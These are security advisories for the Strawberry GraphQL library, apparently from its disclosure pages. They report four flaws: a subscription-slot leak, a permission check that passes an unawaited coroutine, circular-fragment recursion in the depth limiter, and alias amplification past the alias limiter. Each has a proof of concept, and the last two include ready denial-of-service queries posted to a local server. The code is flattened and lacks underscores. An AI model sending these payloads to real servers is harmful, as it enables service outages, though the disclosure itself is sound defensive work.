Summary

Strawberry's legacy graphql-ws subscription handler can retain task and subscription bookkeeping after a one-shot subscription has naturally sent its complete message. When the application configures maxsubscriptionsperconnection, the handler counts those completed operations in len(self.tasks). A client that uses distinct operation IDs can therefore reach the configured subscription limit even though the earlier subscriptions have already completed, causing subsequent legitimate subscriptions on the same persistent WebSocket connection to receive Subscription limit reached.

This is a conditional connection-level availability and resource-accounting issue. It requires explicit use of the legacy graphql-ws protocol, a persistent WebSocket connection, one-shot subscriptions that naturally complete, and a configured maxsubscriptionsperconnection limit. It is not an unconditional issue in a default Strawberry installation and is distinct from the previously fixed single-connection infinite-subscription issue.

Details

The audited snapshot is Strawberry 0.324.4, commit c3caabd1188acda62045e7fd9ba9e37ac430cf96. The relevant implementation is in [strawberry/subscriptions/protocols/graphqlws/handlers.py](https://github.com/strawberry-graphql/strawberry/blob/c3caabd1188acda62045e7fd9ba9e37ac430cf96/strawberry/subscriptions/protocols/graphqlws/handlers.py), particularly the operation-start, result-handling, and cleanup paths.

When a new operation is started, the handler rejects it once the task count reaches the configured limit:

python if ( self.maxsubscriptionsperconnection is not None and len(self.tasks) >= self.maxsubscriptionsperconnection ): await self.sendmessage( ErrorMessage( type="error", id=operationid, payload={"message": "Subscription limit reached"}, ) ) return

The operation task is stored in self.tasks, and its result source is stored in self.subscriptions. On normal exhaustion of the result source, handleasyncresults() sends a completion message:

python async for result in resultsource: await self.senddatamessage(result, operationid)

await self.sendmessage( CompleteMessage(type="complete", id=operationid) )

The natural completion path does not call cleanupoperation() before returning. The deletion of the stored operation state is implemented separately:

python async def cleanupoperation(self, operationid: str) -> None: if operationid in self.subscriptions: await self.subscriptions[operationid].aclose() del self.subscriptions[operationid]

self.tasks[operationid].cancel() await self.tasks[operationid] del self.tasks[operationid]

Consequently, after a one-shot operation has sent complete, its task entry can remain in self.tasks until the client explicitly stops the operation, reuses the same operation ID, or the connection is cleaned up. New operation IDs are compared against the retained task count and can be rejected.

The connection-slot impact requires both parts of the behavior:

1. the natural-completion path leaves the completed operation accounted for; and 2. the legacy handler has maxsubscriptionsperconnection enabled.

PoC

The following reproduction is local-only and bounded. It uses an in-memory Channels WebSocket fixture, one connection, three one-shot subscriptions, and the legacy graphql-ws subprotocol. It does not connect to a public endpoint or start a network service.

1. Environment installation

Create an isolated virtual environment and install the official Channels integration extra together with the local ASGI test dependency:

bash python -m pip install "strawberry-graphql[channels]==0.324.4" daphne

For a different tested release, replace 0.324.4 and record the actual installed version. The test uses an in-memory Channels communicator and does not connect to a real server.

Record the actual versions before testing:

bash python -c "import sys, importlib.metadata as m; print(sys.version); print('strawberry-graphql:', m.version('strawberry-graphql')); print('channels:', m.version('channels')); print('Django:', m.version('Django')); print('asgiref:', m.version('asgiref'))"

2. Save the bounded test

Save the following as poc.py:

python import asyncio

from django.conf import settings

if not settings.configured: settings.configure( SECRETKEY="local-validation-only", CHANNELLAYERS={ "default": { "BACKEND": "channels.layers.InMemoryChannelLayer", } }, )

import strawberry from channels.testing import WebsocketCommunicator

from strawberry.channels.handlers.wshandler import GraphQLWSConsumer from strawberry.schema import Schema from strawberry.subscriptions import GRAPHQLWSPROTOCOL

@strawberry.type class Query: @strawberry.field def ping(self) -> str: return "pong"

@strawberry.type class Subscription: @strawberry.subscription async def oneshot(self) -> str: yield "marker"

schema = Schema(query=Query, subscription=Subscription)

application = GraphQLWSConsumer.asasgi( schema=schema, subscriptionprotocols=(GRAPHQLWSPROTOCOL,), maxsubscriptionsperconnection=2, )

async def receiveuntilcomplete(communicator, operationid): messages = [] for in range(3): message = await asyncio.waitfor( communicator.receivejsonfrom(), timeout=2 ) messages.append(message) if ( message.get("type") == "complete" and message.get("id") == operationid ): return messages raise AssertionError( f"no complete message for {operationid}: {messages}" )

async def main() -> None: communicator = WebsocketCommunicator( application, "/graphql", subprotocols=[GRAPHQLWSPROTOCOL], ) connected, acceptedprotocol = await communicator.connect() assert connected assert acceptedprotocol == GRAPHQLWSPROTOCOL

try: await communicator.sendjsonto({"type": "connectioninit"}) ack = await communicator.receivejsonfrom() assert ack["type"] == "connectionack"

query = "subscription { oneShot }"

await communicator.sendjsonto( { "type": "start", "id": "one", "payload": {"query": query}, } ) firstmessages = await receiveuntilcomplete( communicator, "one" )

await communicator.sendjsonto( { "type": "start", "id": "two", "payload": {"query": query}, } ) secondmessages = await receiveuntilcomplete( communicator, "two" )

# Allow completed handler tasks to finish their sends before the # third operation is started. await asyncio.sleep(0)

await communicator.sendjsonto( { "type": "start", "id": "three", "payload": {"query": query}, } ) thirdmessage = await asyncio.waitfor( communicator.receivejsonfrom(), timeout=2 )

print( { "first": firstmessages, "second": secondmessages, "third": thirdmessage, } ) finally: await communicator.disconnect()

asyncio.run(main())

3. Run

bash python poc.py

4. Expected results

A fixed implementation should send data and complete for both one and two, then permit three to start and complete.

The behavior is:

text { 'first': [ {'type': 'data', 'id': 'one', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'one'} ], 'second': [ {'type': 'data', 'id': 'two', 'payload': {'data': {'oneShot': 'marker'}}}, {'type': 'complete', 'id': 'two'} ], 'third': { 'type': 'error', 'id': 'three', 'payload': {'message': 'Subscription limit reached'} } }

The exact formatting and fields may vary slightly by Strawberry version, but the decisive observation is that one and two both receive complete, while three receives Subscription limit reached with a different operation ID.

Impact

When the legacy graphql-ws protocol and maxsubscriptionsperconnection are enabled, a client can fill the configured operation slots on its persistent connection with one-shot subscriptions that have already completed. Subsequent legitimate operations on that connection may be rejected even though no corresponding subscriptions remain active.

The primary demonstrated impact is connection-level availability and incorrect resource accounting. Multiple long-lived connections could increase the amount of retained task/subscription state, but this bounded test does not establish memory exhaustion or cross-connection denial of service.

Exposure depends on:

- the application explicitly enabling the legacy graphql-ws protocol; - the application configuring maxsubscriptionsperconnection; - clients being able to maintain a persistent WebSocket connection; - the resolver exposing a finite operation that naturally completes; - the absence of effective connection lifetime, connection-count, authorization, or rate limits.

This report does not claim impact on the modern graphql-transport-ws protocol, on applications without the per-connection cap, or on every deployment. It is distinct from the already fixed unlimited-subscription behavior.

Maintainer note

Confirmed and reproduced against 0.327.0. The maxsubscriptionsperconnection feature this affects was introduced in 0.312.3 (#4344), so the affected range is >= 0.312.3, <= 0.327.0.

Fixed by https://github.com/strawberry-graphql/strawberry/pull/4610: operations now release their slot when they complete on their own or fail before execution, and a late stop for a completed operation is a no-op. The fix was released in 0.327.2.

Summary

PermissionExtension.resolve() evaluates the return value of haspermission() for truthiness on the synchronous path. supportssync only classifies a permission as asynchronous when haspermission is declared with async def (via inspect.iscoroutinefunction), so a plain def that returns an awaitable is treated as synchronous. An awaitable is always truthy, so the check passes even when it resolves to False and the protected resolver runs.

The resolve path is chosen by the field resolver, not by the execution method, so any field with a synchronous resolver is affected under both executesync() and execute(). Permissions declared with async def haspermission(), or a plain def returning a boolean, are not affected.

Details

The affected code is PermissionExtension.resolve() in strawberry/permission.py. A permission attached to a field whose haspermission is a normal def returning an awaitable reaches this path; the awaitable is never awaited and its truthiness grants access. resolveasync() is not affected because it uses awaitmaybe().

PoC

python import strawberry from strawberry.permission import BasePermission

class DenyViaAwaitable(BasePermission): message = "denied"

def haspermission(self, source, info, kwargs): async def result(): return False

return result()

@strawberry.type class Query: @strawberry.field(permissionclasses=[DenyViaAwaitable]) def secret(self) -> str: return "secret"

schema = strawberry.Schema(Query) print(schema.executesync("{ secret }").data) # {'secret': 'secret'} instead of a permission error

Impact

An application using a custom permission whose haspermission is a normal def returning an awaitable can unintentionally grant access to the protected field. Standard permissions (a def returning a boolean, or an async def) are not affected, so exploitability depends on the application using this specific permission shape.

Fix

The synchronous path now fails closed: if haspermission() returns an awaitable, an error is raised instead of granting access.

Summary The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determinedepth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details The determinedepth function in querydepthlimiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import QueryDepthLimiter

@strawberry.type class User: name: str = "GONA"

@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()

Enable depth limiting schema = strawberry.Schema( query=Query, extensions=[QueryDepthLimiter(maxdepth=10)] )

app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")

exploit import httpx

Circular reference: A -> B -> A -> B ... payload = { "query": """ fragment A on User { ...B } fragment B on User { ...A } query Crash { user { ...A } } """ }

try: response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(response.json()) except Exception as e: print(f"Server crashed or timed out: {e}")

Impact Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

Summary The MaxAliasesLimiter extension in Strawberry fails to account for the multiplicative/amplification effect of FragmentSpreadNode. While it correctly counts static aliases within the AST it does not consider how many times a fragments internal aliases are expanded during execution. this allows an attacker to bypass alias limits and force the server to resolve and render a significantly higher number of aliases than allowed, potentially leading to a dos via resource exhaustion.

Details The current implementation of alias counting in strawberry/extensions/maxaliases.py uses a static approach for selection in selectionsetowner.selectionset.selections: if isinstance(selection, FieldNode) and selection.alias: result += 1

if isinstance(selection, (FieldNode, InlineFragmentNode)) and ~~~: result += countfieldswithalias(selection)

When a FragmentSpread is used multiple times, the actual number of aliases processed by the execution engine is

Total Aliases = query aliases + (num of spreads aliases within fragment)

Because Strawberry only performs a static sum of the text, it misses this multiplication

PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import MaxAliasesLimiter

@strawberry.type class User: name: str = "GONA"

@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()

Limit is set to 20 aliases schema = strawberry.Schema( query=Query, extensions=[MaxAliasesLimiter(maxaliascount=20)] )

app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")

payloads import httpx

payload = { "query": """ fragment Amplification on User { a1: name, a2: name, a3: name, a4: name, a5: name, a6: name, a7: name, a8: name, a9: name, a10: name } query Bypass { u1: user { ...Amplification } u2: user { ...Amplification } u3: user { ...Amplification } u4: user { ...Amplification } u5: user { ...Amplification } u6: user { ...Amplification } u7: user { ...Amplification } u8: user { ...Amplification } u9: user { ...Amplification } u10: user { ...Amplification } } """ }

response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(f"Status: {response.statuscode}") The response will contain 100 'a' aliases nested within 10 'u' aliases. print(response.json())

Impact An attacker can bypass security constraints to cause Application-level DOS. By staying just under the maxaliascount limit in the AST an attacker can trigger thousands of actual alias resolutions on the backend consuming excessive CPU and memory